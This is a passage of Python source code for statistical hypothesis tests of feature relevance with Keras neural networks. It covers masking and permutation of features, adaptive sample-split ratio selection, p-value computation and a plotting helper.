'mask': Z = self.mask_cov(X, cat_feats=cat_feats, k=k) elif self.change == 'perm': Z = self.perm_cov(X, k=k) return Z def mask_cov(self, X, cat_feats=[], k=0): """ Return instances with masked k-th hypothesized features. Parameters ---------- X: array-like Target instances. cat_feats: list-like, default = [] The col-index for categorical features; now it's only work for tabular data k: integer, default = 0 k-th hypothesized features in inf_feats """ Z = X.copy() n_sample = len(Z) if len(self.inf_feats[k].shape) > 1: ## for channels_last image data: shape should be (#samples, img_rows, img_cols, channel) if len(cat_feats): warnings.warn("cat_feats is ignored. cat_feats only works for tabular data, whereas a image dataset is given.") Z[:, self.inf_feats[k][0][:,None], self.inf_feats[k][1], :] = 0. else: ## this for tabular data cat_inf_feats = set(self.inf_feats[k]).intersection(set(cat_feats)) cont_inf_feats = set(self.inf_feats[k]) - set(cat_inf_feats) cat_inf_feats, cont_inf_feats = list(cat_inf_feats), list(cont_inf_feats) Z[:,cont_inf_feats] = np.array([np.mean(Z[:,cont_inf_feats], axis=0)]*n_sample) if len(cat_inf_feats) > 0: Z[:,cat_inf_feats] = np.array([mode(Z[:,cat_inf_feats], axis=0)[0][0]]*n_sample) return Z def perm_cov(self, X, k=0): """ Return instances with permuted k-th hypothesized features. Parameters ---------- X: array-like Target instances. k: integer, default = 0 k-th hypothesized features in inf_feats """ Z = X.copy() if len(self.inf_feats[k].shape) > 1: ## for channels_last image data: shape should be (#samples, img_rows, img_cols, channel) Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], :]= np.random.permutation(Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], :]) else: Z[:,self.inf_feats[k]]= np.random.permutation(Z[:,self.inf_feats[k]]) return Z def noise_cov(self, X, k=0): """ Return instances with niosed k-th hypothesized features. Parameters ---------- X: array-like Target instances. k: integer, default = 0 k-th hypothesized features in inf_feats """ Z = X.copy() Z[:,self.inf_feats[k]] = np.random.randn(len(X), len(self.inf_feats[k])) return Z def adaRatio(self, X, y, k=0, cat_feats=[], fit_params={}, split_params={}): """ Return a data-adaptive splitting ratio and perturbation level. Parameters ---------- X: array-like | shape=(n_samples, dim1, dim2, ...) Features. y: array-like | shape=(n_samples, dim) Outcomes. k: integer, default = 0 k-th hypothesized features in inf_feats fit_params: dict | shape = dict of fitting parameters See keras ``fit``: (https://keras.rstudio.com/reference/fit.html), including ``batch_size``, ``epoch``, ``callbacks``, ``validation_split``, ``validation_data``. split_params: {dict of splitting parameters} split: {'one-split', 'two-split'}, default='one-split' one-split or two-split tests. perturb: float, default=None Perturb level for the one-split test, if ``perturb = None``, then the perturb level is determined by adaptive tunning. num_perm: int, default=100 Number of permutation for determine the splitting ratio. ratio_grid: list of float (0,1), default=[.2, .4, .6, .8]** A list of estimation/inference ratios under searching. if_reverse: {0,1}, default=0 ``if_reverse = 0`` indicates the loop of ``ratio_grid`` starts from smallest one to largest one; ``if_reverse = 1`` indicates the loop of ``ratio_grid`` starts from largest one to smallest one. perturb_scale: integer, default=5 The scale of perturb, and the perturbation grid is generated based on 2**range(-perturb_scale, perturb_scale)*var(losses by full model) min_inf: int, default=0 The minimal size for inference sample. min_est: int, default=0 The minimal size for estimation sample. ratio_method: {'fuse', 'close'}, default='fuse' The adaptive splitting method to determine the optimal estimation/inference ratios. cv_num: int, default=1 The number of cross-validation to shuffle the estimation/inference samples in adaptive ratio splitting. We recommend to set **cv_num** in **adaRatio** as same as **cv_num** in **testing**. cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'}, default ='hommel' A method to combine p-values obtained from cross-validation. see (https://arxiv.org/pdf/1212.4966.pdf) for more detail. verbose: {0,1}, default=1 if print the results the adaptive tuning procedure. cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'} | default = 'hommel' A method to combine p-values obtained from cross-validation. see (https://arxiv.org/pdf/1212.4966.pdf) for more detail. verbose: {0,1} | default=1 If print the adaptive splitting process. Returns ------- n_opt: integer A reasonable estimation sample size. m_opt: integer A reasonable inference sample size. perturb_opt: float A reasonable perturbation level. """ split_params_default = {'split': 'one-split', 'perturb': None, 'num_perm': 100, 'ratio_grid': [.2, .4, .6, .8], 'if_reverse': 0, 'perturb_scale': 5, 'min_inf': 0, 'min_est': 0, 'ratio_method': 'fuse', 'cv_num': 1, 'cp': 'hommel', 'verbose': 1} split_params_default.update(split_params) split_params = split_params_default perturb=split_params['perturb'] split=split_params['split'] perturb_scale=split_params['perturb_scale'] ratio_grid=split_params['ratio_grid'] if_reverse=split_params['if_reverse'] min_inf=split_params['min_inf'] min_est=split_params['min_est'] ratio_method=split_params['ratio_method'] num_perm=split_params['num_perm'] cv_num= split_params['cv_num'] cp = split_params['cp'] verbose= split_params['verbose'] ratio_grid.sort() if if_reverse == 1: ratio_grid = list(reversed(ratio_grid)) candidate, Err1_lst, ratio_lst, P_value_lst = [], [], [], [] found = 0 if split == 'two-split': for ratio_tmp in ratio_grid: ratio_tmp = ratio_tmp/2 m_tmp = int(len(X)*ratio_tmp) n_tmp = len(X) - 2*m_tmp if (m_tmp < min_inf) or (n_tmp < min_est): continue # split data P_value = [] for h in range(cv_num): self.reset_model() P_value_cv = [] ## generate permutated samples X_perm = X.copy() X_perm = self.perm_cov(X_perm, k) ## split sample X_train, X_test, y_train, y_test = train_test_split(X_perm, y, train_size=n_tmp, random_state=1) # training for full model history = self.model.fit(x=X_train, y=y_train, **fit_params) # training for mask model Z_train = self.dual_feat(X_train, cat_feats, k) history_mask = self.model_mask.fit(x=Z_train, y=y_train, **fit_params) Z_test = self.dual_feat(X_test, cat_feats, k) # evaluation for mask model pred_y_mask = self.model_mask.predict(Z_test) for j in range(num_perm): X_test_perm = X_test.copy() X_test_perm = self.perm_cov(X_test_perm, k) pred_y = self.model.predict(X_test_perm) ind_inf, ind_inf_mask = train_test_split(range(len(pred_y)), train_size=m_tmp, random_state=42) metric_tmp = self.metric(y_test[ind_inf], pred_y[ind_inf]) metric_mask_tmp = self.metric(y_test[ind_inf_mask], pred_y_mask[ind_inf_mask]) p_value_tmp = self.diff_p_value(metric_tmp, metric_mask_tmp) P_value_cv.append(p_value_tmp) P_value.append(P_value_cv) P_value = np.array(P_value) P_value_cp = np.array([comb_p_value(P_value[:,i], cp=cp) for i in range(num_perm)]) ## compute the type 1 error Err1 = len(P_value_cp[P_value_cp < self.alpha]) / len(P_value_cp) Err1_lst.append(Err1) # P_value_lst.append(P_value) ratio_lst.append(ratio_tmp) if verbose==1: print('(AdaRatio) Est. Type 1 error: %.3f; p_value_mean: %.3f, inf sample ratio: %.3f' %(Err1, P_value_cp.mean(), ratio_tmp)) # print('(AdaRatio) p_value: %.3f, inference sample ratio: %.3f' %(P_value.mean(), ratio_tmp)) if Err1 < self.alpha: found = 1 if ratio_method == 'fuse': m_opt = m_tmp n_opt = len(X) - 2*m_opt break if found==0: warnings.warn("No ratio can control the Type 1 error, pls increase the sample size, and the inference sample ratio is set as the min of ratio_grid.") Err1_lst, ratio_lst = np.array(Err1_lst), np.array(ratio_lst) m_opt = int(ratio_lst[np.argmin(Err1_lst)] * len(X)) n_opt = len(X) - 2*m_opt return n_opt, m_opt if split == 'one-split': if perturb != None: perturb_grid = [perturb] for perturb_idx_tmp in range(-perturb_scale, perturb_scale): perturb_level_tmp = 2**(perturb_idx_tmp) ## stop if current perturb is enough to control the type 1 error if found == 1: break Err1_lst, ratio_lst, perturb_lst, P_value_lst = [], [], [], [] for ratio_tmp in ratio_grid: m_tmp = int(len(X)*ratio_tmp) n_tmp = len(X) - m_tmp if (m_tmp < min_inf) or (n_tmp < min_est): continue # split data P_value = [] for h in range(cv_num): self.reset_model() P_value_cv = [] ## generate permutated samples X_perm = X.copy() X_perm = self.perm_cov(X_perm, k) # split samples X_train, X_test, y_train, y_test = train_test_split(X_perm, y, train_size=n_tmp, random_state=h) # training for full model history = self.model.fit(x=X_train, y=y_train, **fit_params) # training for mask model Z_train = self.dual_feat(X_train, cat_feats, k) history_mask = self.model_mask.fit(x=Z_train, y=y_train, **fit_params) ## evaluation for the mask model Z_test = self.dual_feat(X_test, cat_feats, k) pred_y_mask = self.model_mask.predict(Z_test) metric_mask_tmp = self.metric(y_test, pred_y_mask) # evaluation for j in range(num_perm): X_test_perm = X_test.copy() X_test_perm = self.perm_cov(X_test_perm, k) ## compute the metric based on full model pred_y = self.model.predict(X_test_perm) metric_tmp = self.metric(y_test, pred_y) ## compute the p-value based on the diff metrics p_value_tmp = self.diff_p_value(metric_tmp, metric_mask_tmp, perturb_level=perturb_level_tmp) P_value_cv.append(p_value_tmp) P_value.append(P_value_cv) P_value = np.array(P_value) P_value_cp = np.array([comb_p_value(P_value[:,i], cp=cp) for i in range(num_perm)]) Err1 = len(P_value_cp[P_value_cp<=self.alpha])/len(P_value_cp) Err1_lst.append(Err1) if verbose==1: print('(AdaRatio) Est. Type 1 err: %.3f; p_value_mean: %.3f, inf sample ratio: %.3f, perturb_level: %s' %(Err1, P_value_cp.mean(), ratio_tmp, perturb_level_tmp)) P_value_lst.append(P_value_cp) ratio_lst.append(ratio_tmp) perturb_lst.append(perturb_idx_tmp) if Err1 < self.alpha: found = 1 m_opt = m_tmp n_opt = len(X) - m_opt perturb_idx_opt = perturb_idx_tmp break if found==0: warnings.warn("No ratio and perturb_level can control the Type 1 error," \ "pls increase the perturb_level and sample size, and inference sample ratio is set as the one minimize the permutation Type 1 Error.") Err1_lst, ratio_lst = np.array(Err1_lst), np.array(ratio_lst) m_opt = int(ratio_lst[np.argmin(Err1_lst)] * len(X)) n_opt = len(X) - m_opt perturb_idx_opt = perturb_lst[np.argmin(Err1_lst)] return n_opt, m_opt, perturb_idx_opt def diff_p_value(self, metric_full, metric_mask, perturb_level=0.): """ Return p-value for diff btw `metric_full` and `metric_mask` for the one-/two-split test. Parameters ---------- metric_full: {array-like} of shape (n_samples) metric for samples based on full model metric_mask: {array-like} of shape (n_samples) metric for samples based on mask model Returns ------- P_value: array of float [0, 1] The p_values for target one-/two-split test. """ perturb_base = metric_full.std() diff_tmp = metric_full - metric_mask + perturb_level * perturb_base * np.random.randn(len(metric_full)) Lambda_tmp = np.sqrt(len(diff_tmp)) * ( diff_tmp.std() )**(-1)*( diff_tmp.mean() ) p_value_tmp = norm.cdf(Lambda_tmp) return p_value_tmp def testing(self, X, y, fit_params, split_params={}, cat_feats=[], cv_num=5, cp='hommel', inf_ratio=None): """ Return p-values for hypothesis testing for inf_feats in class split_test. Parameters ---------- X: {array-like} of shape (n_samples, dim_features) Instances matrix/tensor, where n_samples in the number of samples and dim_features is the dimension of the features. If X is vectorized feature, ``shape`` should be ``(#Samples, dim of feaures)`` If X is image/matrix data, ``shape`` should be ``(#samples, img_rows, img_cols, channel)``, that is, *X must channel_last image data*. y: {array-like} of shape (n_samples,) Output vector/matrix relative to X. cat_feats: list, default = [] The col-index for categorical features; **now it's only work for tabular data** fit_params: {dict of fitting parameters} See keras ``fit``: (https://keras.rstudio.com/reference/fit.html), including ``batch_size``, ``epoch``, ``callbacks``, ``validation_split``, ``validation_data``, and so on. split_params: {dict of splitting parameters} split: {'one-split', 'two-split'}, default='one-split' one-split or two-split test statistic. perturb: float, default=None Perturb level for the one-split test, if ``perturb = None``, then the perturb level is determined by adaptive tunning. num_perm: int, default=100 Number of permutation for determine the splitting ratio. ratio_grid: list of float (0,1), default=[.2, .4, .6, .8] A list of estimation/inference ratios under searching. if_reverse: {0,1}, default=0 ``if_reverse = 0`` indicates the loop of ``ratio_grid`` starts from smallest one to largest one; ``if_reverse = 1`` indicates the loop of ``ratio_grid`` starts from largest one to smallest one. perturb_scale: integer, default=5 The scale of perturb, and the perturbation grid is generated based on 2**range(-perturb_scale, perturb_scale)*var(losses by full model) min_inf: int, default=0 The minimal size for inference sample. min_est: int, default=0 The minimal size for estimation sample. ratio_method: {'fuse', 'close'}, default='fuse' The adaptive splitting method to determine the optimal estimation/inference ratios. cv_num: int, default=*cv_num* The number of cross-validation to shuffle the estimation/inference samples in adaptive ratio splitting. cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'}, default = *cp* A method to combine p-values obtained from cross-validation. see (https://arxiv.org/pdf/1212.4966.pdf) for more detail. verbose: {0,1}, default=1 if print the results the adaptive tuning procedure. cv_num: int, default=5 The number of cross-validation to shuffle the estimation/inference samples in testing. cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'}, default ='hommel' A method to combine p-values obtained from cross-validation. inf_ratio: float, default=None** A pre-specific inference sample ratio, if ``est_size=None``, then it is determined by adaptive splitting method ``metric``. Returns ------- P_value: array of float [0, 1] The p_values for target hypothesis testings. """ split_params_default = {'split': 'one-split', 'perturb': None, 'num_perm': 100, 'perturb_scale': 5, 'ratio_grid': [.2, .4, .6, .8], 'if_reverse': 0, 'min_inf': 0, 'min_est': 0, 'ratio_method': 'fuse', 'cv_num': cv_num, 'cp': cp, 'verbose': 1} split_params_default.update(split_params) split_params = split_params_default ## create checkpoints path if not os.path.exists(self.cp_path): os.mkdir(self.cp_path) ## save initial weights self.save_init() init_lr_full = deepcopy(self.model.optimizer.lr.numpy()) init_lr_mask = deepcopy(self.model.optimizer.lr.numpy()) P_value = [] for k in range(len(self.inf_feats)): ## initialize the models and learning rates self.reset_model() self.model.optimizer.lr.assign(init_lr_full) self.model_mask.optimizer.lr.assign(init_lr_mask) ## (one-split) determine the splitting ratio for est and inf samples if split_params['split'] == 'one-split': if ((inf_ratio == None) or (split_params['perturb'] == None)): if split_params['ratio_method'] == 'fuse': n, m, perturb_idx = self.adaRatio(X, y, k, cat_feats=cat_feats, fit_params=fit_params, split_params=split_params) perturb_level = 2**perturb_idx print('%d-th inference; Adaptive data splitting: n: %d; m: %d; perturb: %s' %(k, n, m, perturb_level)) elif split_params['ratio_method'] == 'log-ratio': root, info = brentq(size_fun, 3., len(X), args=(len(X), 2000.), full_output=True) inf_ratio = 1 - root / len(X) if split_params['perturb'] == None: split_params['ratio_grid'] = [inf_ratio] n, m, perturb_idx = self.adaRatio(X, y, k, cat_feats=cat_feats, fit_params=fit_params, split_params=split_params) perturb_level = 2**perturb_idx else: perturb_idx = split_params['perturb'] perturb_level = 2**perturb_idx m, n = int(inf_ratio * len(X)), len(X) - int(inf_ratio * len(X)) print('%d-th inference; log ratio data splitting: n: %d; m: %d; perturb: %s' %(k, n, m, perturb_level)) else: raise Exception("inf ratio method must be 'fuse' or 'log-ratio' if inf_ratio is not given!") else: m, n = int(inf_ratio * len(X)), len(X) - int(inf_ratio * len(X)) perturb_idx = split_params['perturb'] perturb_level = 2**perturb_idx print('%d-th inference; fix data splitting: n: %d; m: %d' %(k, n, m)) ## (two-split) determine the splitting ratio for est and inf samples elif split_params['split'] == 'two-split': perturb_level = 0. if inf_ratio == None: if split_params['ratio_method'] == 'fuse': n, m = self.adaRatio(X, y, k, cat_feats=cat_feats, fit_params=fit_params, split_params=split_params) print('%d-th inference; Adaptive data splitting: n: %d; m: %d' %(k, n, m)) elif split_params['ratio_method'] == 'log-ratio': root, info = brentq(size_fun, 3., len(X), args=(len(X), 2000.), full_output=True) inf_ratio = 1 - root / len(X) m, n = int(inf_ratio * len(X)/2)*2, len(X) - int(inf_ratio * len(X)/2)*2 print('%d-th inference; log-ratio data splitting: n: %d; m: %d' %(k, n, m)) else: raise Exception("inf ratio method must be 'fuse' or 'log-ratio' if inf_ratio is not given!") else: m, n = int(inf_ratio * len(X)/2)*2, len(X) - int(inf_ratio * len(X)/2)*2 else: raise Exception("split method must be 'one-split' or 'two-split'!") ## testing P_value_cv = [] for h in range(cv_num): X_train, X_test, y_train, y_test = train_test_split(X, y, train_size=n, random_state=h) if split_params['split'] == 'two-split': X_inf, X_inf_mask, y_inf, y_inf_mask = train_test_split(X_test, y_test, train_size=.5, random_state=42) if split_params['split'] == 'one-split': X_inf, X_inf_mask, y_inf, y_inf_mask = X_test.copy(), X_test.copy(), y_test.copy(), y_test.copy() self.reset_model() self.model.optimizer.lr.assign(init_lr_full) self.model_mask.optimizer.lr.assign(init_lr_mask) ## fit, predict, and inference in full model history = self.model.fit(X_train, y_train, **fit_params) pred_y = self.model.predict(X_inf) metric_full = self.metric(y_inf, pred_y) # fit, predict, and inference in mask model Z_train = self.dual_feat(X_train, cat_feats, k) history_mask = self.model_mask.fit(Z_train, y_train, **fit_params) Z_inf = self.dual_feat(X_inf_mask, cat_feats, k) pred_y_mask = self.model_mask.predict(Z_inf) metric_mask = self.metric(y_inf_mask, pred_y_mask) ## compute p-value p_value_tmp = self.diff_p_value(metric_full, metric_mask, perturb_level) print('cv: %d; p_value: %.5f; metric: %.5f(%.5f); metric_mask: %.5f(%.5f)' %(h, p_value_tmp, metric_full.mean(), metric_full.std(), metric_mask.mean(), metric_mask.std())) P_value_cv.append(p_value_tmp) self.p_values_comb.append(P_value_cv) P_value_cv = np.array(P_value_cv) p_value_mean = comb_p_value(P_value_cv, cp=cp) print('#'*50) if p_value_mean < self.alpha: print('%d-th inf: reject H0 with p_value: %.3f' %(k, p_value_mean)) else: print('%d-th inf: accept H0 with p_value: %.3f' %(k, p_value_mean)) print('#'*50) P_value.append(p_value_mean) # return P_value, fit_err, P_value_cv self.p_values = P_value return P_value def visual(self, X, y, plt_params={'cmap': 'RdBu', 'alpha':0.6}, plt_mask_params={'cmap': 'RdBu', 'alpha':0.6}): """ Visualization for the inference results based on one illustrative example Parameters ---------- X: array-like demo instances. y: array-like demo labels plt_params: dict dictory of parameters for the imshow for original image see: (https://matplotlib.org/3.3.3/api/_as_gen/matplotlib.pyplot.imshow.html) plt_mask_params: dict dictory of parameters for the imshow for mask see: (https://matplotlib.org/3.3.3/api/_as_gen/matplotlib.pyplot.imshow.html) """ if len(X.shape) == 2: print('sorry, visual function only work for image data.') else: num_class = y.shape[1] demo_ind = np.array([np.where(y[:,k]==1)[0][0] for k in range(num_class)]) X_demo = X[demo_ind] cols, rows = len(self.inf_feats), num_class fig = plt.figure(constrained_layout=False) spec = fig.add_gridspec(ncols=cols, nrows=rows) for row in range(rows): for col in range(cols): X_mask_tmp = np.nan*np.ones(X_demo.shape) X_mask_tmp = self.mask_cov(X_mask_tmp, k=col)[0] ax = fig.add_subplot(spec[row, col]) im1 = ax.imshow(X_demo[row], vmin=0, vmax=1, **plt_params) ax.axis('off') im2 = ax.imshow(X_mask_tmp, vmin=0, vmax=1, **plt_mask_params) ax.axis('off') if row == 0: ax.set_title('p_values: %.3f' %self.p_values[col]) plt.subplots_adjust(top = 0.95, bottom=0.05, hspace=0.03, wspace=0.03, right=0.95) plt.show() class perm_test(object): """Class for holdout permutation test (HPT) based on deep neural networks. Parameters ---------- inf_feats : list-like of shape (num of tests, dim of features) List of covariates/Features under hypothesis testings, one element corresponding to a hypothesis testing. model : {keras-defined neural network} A neural network for original full dataset alpha: float (0,1), default=0.05 The nominal level of the hypothesis testing verbose: {0, 1}, default=0 If print the testing results, 1 indicates YES, 0 indicates NO. eva_metric: {'mse', 'zero-one', 'cross-entropy', or custom metric function} The evaluation metric, ``'mse'`` is the l2-loss for regression, ``'zero-one'`` is the zero-one loss for classification, ``'cross-entropy'`` is log-loss for classification. It can also be custom metric function as ``eva_metric(y_true, y_pred)``. Methods ------- testing """ def __init__(self, inf_feats, model, model_perm, alpha=.05, num_folds=5, num_perm=100, verbose=0, eva_metric='mse'): self.inf_feats = inf_feats self.model = model self.model_perm = model_perm self.alpha = alpha self.num_perm = num_perm self.num_folds = num_folds self.eva_metric = eva_metric def metric(self, y_true, y_pred): if self.eva_metric == 'mse': metric_tmp = ((y_true - y_pred)**2).flatten() elif self.eva_metric == 'mae': metric_tmp = abs(y_true - y_pred).flatten() elif self.eva_metric == 'zero-one': label_pred = np.argmax(y_pred, 1) label_true = np.argmax(y_true, 1) metric_tmp = 1. - 1.*(label_true == label_pred) elif self.eva_metric == 'cross-entropy': label_true = np.argmax(y_true, 1) metric_tmp = np.log(y_pred[range(len(y_pred)),label_true]) else: metric_tmp = self.eva_metric(y_true, y_pred) return metric_tmp def reset_model(self): if int(tf.__version__[0]) == 2: # for layer in self.model.layers: # if isinstance(layer, tf.keras.Model): # reset_weights(layer) # continue # for k, initializer in layer.__dict__.items(): # if "initializer" not in k: # continue # # find the corresponding variable # var = getattr(layer, k.replace("_initializer", "")) # var.assign(initializer(var.shape, var.dtype)) for layer in self.model.layers: if isinstance(layer, tf.keras.Model): #if you're using a model as a layer reset_weights(layer) #apply function recursively continue #where are the initializers? if hasattr(layer, 'cell'): init_container = layer.cell else: init_container = layer for key, initializer in init_container.__dict__.items(): if "initializer" not in key: #is this item an initializer? continue #if no, skip it # find the corresponding variable, like the kernel or the bias if key == 'recurrent_initializer': #special case check var = getattr(init_container, 'recurrent_kernel') else: var = getattr(init_container, key.replace("_initializer", "")) if var is None: continue else: var.assign(initializer(var.shape, var.dtype)) if int(tf.__version__[0]) == 1: session = K.get_session() for layer in self.model.layers: if hasattr(layer, 'kernel_initializer'): layer.kernel.initializer.run(session=session) if hasattr(layer, 'bias_initializer'): layer.bias.initializer.run(session=session) for layer in self.model_perm.layers: if hasattr(layer, 'kernel_initializer'): layer.kernel.initializer.run(session=session) if hasattr(layer, 'bias_initializer'): layer.bias.initializer.run(session=session) ## can be extent to @abstractmethod def mask_cov(self, X, k=0): Z = X.copy() if type(self.inf_feats[k]) is list: Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], 0] = 0. else: Z[:,self.inf_feats[k]]= 0. return Z def perm_cov(self, X, k=0): Z = X.copy() if type(self.inf_feats[k]) is list: Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], 0]= np.random.permutation(Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], 0]) else: Z[:,self.inf_feats[k]]= np.random.permutation(Z[:,self.inf_feats[k]]) return Z def noise_cov(self, X, k=0): Z = X.copy() Z[:,self.inf_feats[k]] = np.random.randn(len(X), len(self.inf_feats[k])) return Z def testing(self, X, y, fit_params={}): """ Return p-values for hypothesis testing for inf_feats in class perm_test. Parameters ---------- X : array-like | shape = (n_samples, dim_features) Instances matrix/tensor, where n_samples in the number of samples and dim_features is the dimension of the features. If X is vectorized feature, ``shape`` should be ``(#Samples, dim of feaures)`` If X is image/matrix data, ``shape`` should be ``(#samples, img_rows, img_cols, channel)``, that is, *X must channel_last image data*. y: {array-like} of shape (n_samples,) Output vector/matrix relative to X. fit_params: {dict of fitting parameters} See keras ``fit``: (https://keras.rstudio.com/reference/fit.html), including ``batch_size``, ``epoch``, ``callbacks``, ``validation_split``, ``validation_data``, and so on. cv_num: int, default=5 The number of cross-validation to shuffle the estimation/inference samples in testing. cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'}, default ='hommel' A method to combine p-values obtained from cross-validation. inf_ratio: float, default=None A pre-specific inference sample ratio, if ``est_size=None``, then it is determined by adaptive splitting method ``metric``. Returns ------- P_value: array of float [0, 1] The p_values for target hypothesis testings. """ P_value = [] for k in range(len(self.inf_feats)): kfold = KFold(n_splits=self.num_folds, shuffle=True) self.reset_model() print('%d-th permutation inference' %k) ## prediction and inference in full model score_cv = [] for train, test in kfold.split(X, y): self.reset_model() history = self.model.fit(X[train], y[train], **fit_params) pred_y = self.model.predict(X[test]) metric_full = self.metric(y[test], pred_y) score_cv.append(metric_full.mean()) score = np.mean(score_cv) # prediction and inference in mask model score_perm = [] for l in range(self.num_perm): score_perm_cv = [] Z = self.perm_cov(X, k) for train_perm, test_perm in kfold.split(Z, y): self.reset_model() history_perm = self.model_perm.fit(Z[train_perm], y[train_perm], **fit_params) pred_y_perm = self.model_perm.predict(Z[test_perm]) metric_perm = self.metric(y[test_perm], pred_y_perm) score_perm_cv.append(metric_perm.mean()) score_perm.append(np.mean(score_perm_cv)) score_perm = np.array(score_perm) ## compute p-value print("perf score: %.3f, perf permutation score: %.3f(%.3f)" %(score, score_perm.mean(), score_perm.std())) p_value_tmp = (np.sum(score_perm <= score) + 1.0) / (self.num_perm + 1) if p_value_tmp < self.alpha: print('reject H0 with p_value: %.3f' %p_value_tmp) else: print('accept H0 with p_value: %.3f' %p_value_tmp) P_value.append(p_value_tmp) return P_value, metric_full.mean() class Hperm_test(object): """Class for holdout permutation test (HPT) based on deep neural networks. Parameters ---------- inf_feats : list-like of shape (num of tests, dim of features) List of covariates/Features under hypothesis testings, one element corresponding to a hypothesis testing. model : {keras-defined neural network} A neural network for original full dataset alpha: float (0,1), default=0.05 The nominal level of the hypothesis testing verbose: {0, 1}, default=0 If print the testing results, 1 indicates YES, 0 indicates NO. eva_metric: {'mse', 'zero-one', 'cross-entropy', or custom metric function} The evaluation metric, ``'mse'`` is the l2-loss for regression, ``'zero-one'`` is the zero-one loss for classification, ``'cross-entropy'`` is log-loss for classification. It can also be custom metric function as ``eva_metric(y_true, y_pred)``. cp_path: {string}, default='./HPT_checkpoints' The checkpoints path to save the models Methods ------- testing """ def __init__(self, inf_feats, model, alpha=.05, num_perm=1000, verbose=0, eva_metric='mse', cp_path = './HPT_checkpoints'): self.inf_feats = inf_feats self.model = model self.alpha = alpha self.num_perm = num_perm self.eva_metric = eva_metric self.cp_path = cp_path def metric(self, y_true, y_pred): if self.eva_metric == 'mse': metric_tmp = ((y_true - y_pred)**2).flatten() elif self.eva_metric == 'mae': metric_tmp = abs(y_true - y_pred).flatten() elif self.eva_metric == 'zero-one': label_pred = np.argmax(y_pred, 1) label_true = np.argmax(y_true, 1) metric_tmp = 1. - 1.*(label_true == label_pred) elif self.eva_metric == 'cross-entropy': label_true = np.argmax(y_true, 1) metric_tmp = np.log(y_pred[range(len(y_pred)),label_true]) else: metric_tmp = self.eva_metric(y_true, y_pred) return metric_tmp def save_init(self): """ Save the initialization for the network model under class HPT """ self.model.save_weights(self.cp_path+'/model_init.h5') # self.model_mask.save_weights(self.cp_path+'/model_mask_init.h5') def reset_model(self): """ Reset the full and mask network models under class HPT """ self.model.load_weights(self.cp_path+'/model_init.h5') # self.model_mask.load_weights(self.cp_path+'/model_mask_init.h5') # def reset_model(self): # if int(tf.__version__[0]) == 2: # # for layer in self.model.layers: # # if isinstance(layer, tf.keras.Model): # # reset_weights(layer) # # continue # # for k, initializer in layer.__dict__.items(): # # if "initializer" not in k: # # continue # # # find the corresponding variable # # var = getattr(layer, k.replace("_initializer", "")) # # var.assign(initializer(var.shape, var.dtype)) # # for layer in self.model.layers: # if isinstance(layer, tf.keras.Model): #if you're using a model as a layer # reset_weights(layer) #apply function recursively # continue # # #where are the initializers? # if hasattr(layer, 'cell'): # init_container = layer.cell # else: # init_container = layer # # for key, initializer in init_container.__dict__.items(): # if "initializer" not in key: #is this item an initializer? # continue #if no, skip it # # # find the corresponding variable, like the kernel or the bias # if key == 'recurrent_initializer': #special case check # var = getattr(init_container, 'recurrent_kernel') # else: # var = getattr(init_container, key.replace("_initializer", "")) # # if var is None: # continue # else: # var.assign(initializer(var.shape, var.dtype)) # # if int(tf.__version__[0]) == 1: # session = K.get_session() # for layer in self.model.layers: # if hasattr(layer, 'kernel_initializer'): # layer.kernel.initializer.run(session=session) # if hasattr(layer, 'bias_initializer'): # layer.bias.initializer.run(session=session) # for layer in self.model_perm.layers: # if hasattr(layer, 'kernel_initializer'): # layer.kernel.initializer.run(session=session) # if hasattr(layer, 'bias_initializer'): # layer.bias.initializer.run(session=session) ## can be extent to @abstractmethod # def mask_cov(self, X, k=0): # """ # Return instances with masked k-th hypothesized features. # # Parameters # ---------- # X : array-like # Target instances. # # k : integer, default = 0 # k-th hypothesized features in inf_feats # """ # Z = X.copy() # if type(self.inf_feats[k]) is list: # Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], 0] = 0. # else: # Z[:,self.inf_feats[k]]= 0. # return Z def perm_cov(self, X, k=0): """ Return instances with permuted k-th hypothesized features. Parameters ---------- X : array-like Target instances. k : integer, default = 0 k-th hypothesized features in inf_feats """ Z = X.copy() if type(self.inf_feats[k]) is list: ## for channels_last image data: shape should be (#samples, img_rows, img_cols, channel) Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], :] = np.random.permutation(Z[:,self.inf_feats[k][0][:,None], self.inf_feats[k][1], :]) else: Z[:,self.inf_feats[k]]= np.random.permutation(Z[:,self.inf_feats[k]]) return Z def noise_cov(self, X, k=0): Z = X.copy() Z[:,self.inf_feats[k]] = np.random.randn(len(X), len(self.inf_feats[k])) return Z def testing(self, X, y, fit_params, cv_num=5, cp='hommel', inf_ratio=.2): """ Return p-values for hypothesis testing for inf_feats in class HpermT. Parameters ---------- X : array-like | shape = (n_samples, dim_features) Instances matrix/tensor, where n_samples in the number of samples and dim_features is the dimension of the features. If X is vectorized feature, ``shape`` should be ``(#Samples, dim of feaures)`` If X is image/matrix data, ``shape`` should be ``(#samples, img_rows, img_cols, channel)``, that is, *X must channel_last image data*. y: {array-like} of shape (n_samples,) Output vector/matrix relative to X. fit_params: {dict of fitting parameters} See keras ``fit``: (https://keras.rstudio.com/reference/fit.html), including ``batch_size``, ``epoch``, ``callbacks``, ``validation_split``, ``validation_data``, and so on. cv_num: int, default=5 The number of cross-validation to shuffle the estimation/inference samples in testing. cp: {'gmean', 'min', 'hmean', 'Q1', 'hommel', 'cauchy'}, default ='hommel' A method to combine p-values obtained from cross-validation. inf_ratio: float, default=None A pre-specific inference sample ratio, if ``est_size=None``, then it is determined by adaptive splitting method ``metric``. Returns ------- P_value: array of float [0, 1] The p_values for target hypothesis testings. """ ## create checkpoints path if not os.path.exists(self.cp_path): os.mkdir(self.cp_path) ## save initial weights self.save_init() P_value = [] for k in range(len(self.inf_feats)): self.reset_model() m, n = int(inf_ratio * len(X)), len(X) - int(inf_ratio * len(X)) P_value_cv = [] score_cv, score_perm_cv = [], [] for h in range(cv_num): X_train, X_test, y_train, 